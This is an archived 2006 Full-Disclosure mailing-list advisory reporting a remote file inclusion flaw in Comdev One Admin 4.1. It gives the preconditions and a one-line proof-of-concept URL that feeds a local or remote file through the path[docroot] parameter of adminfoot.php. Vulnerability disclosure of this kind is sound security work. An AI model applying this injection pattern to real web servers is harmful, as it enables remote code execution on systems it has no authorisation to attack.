[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] Comdev One Admin 4.1 Remote File Inclusion
- To: full-disclosure@xxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Comdev One Admin 4.1 Remote File Inclusion
- From: disfigure <disfigure@xxxxxxxxx>
- Date: Tue, 17 Oct 2006 21:50:03 -0500
/****************************************/
http://www.w4cking.com
CREDIT:
w4ck1ng.com
PRODUCT:
Comdev One Admin 4.1
http://www.comdevweb.com/oneadmin.php
VULNERABILITY:
Remote File Inclusion
NOTES:
- requires register globals on
- requires magic quotes off
POC:
<host>/<path>/oneadmin/adminfoot.php?path[docroot]=<local/remote file>
ADVISORY & EXPLOIT (requires registration):
http://w4ck1ng.com/board/showthread.php?t=1491
/****************************************/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/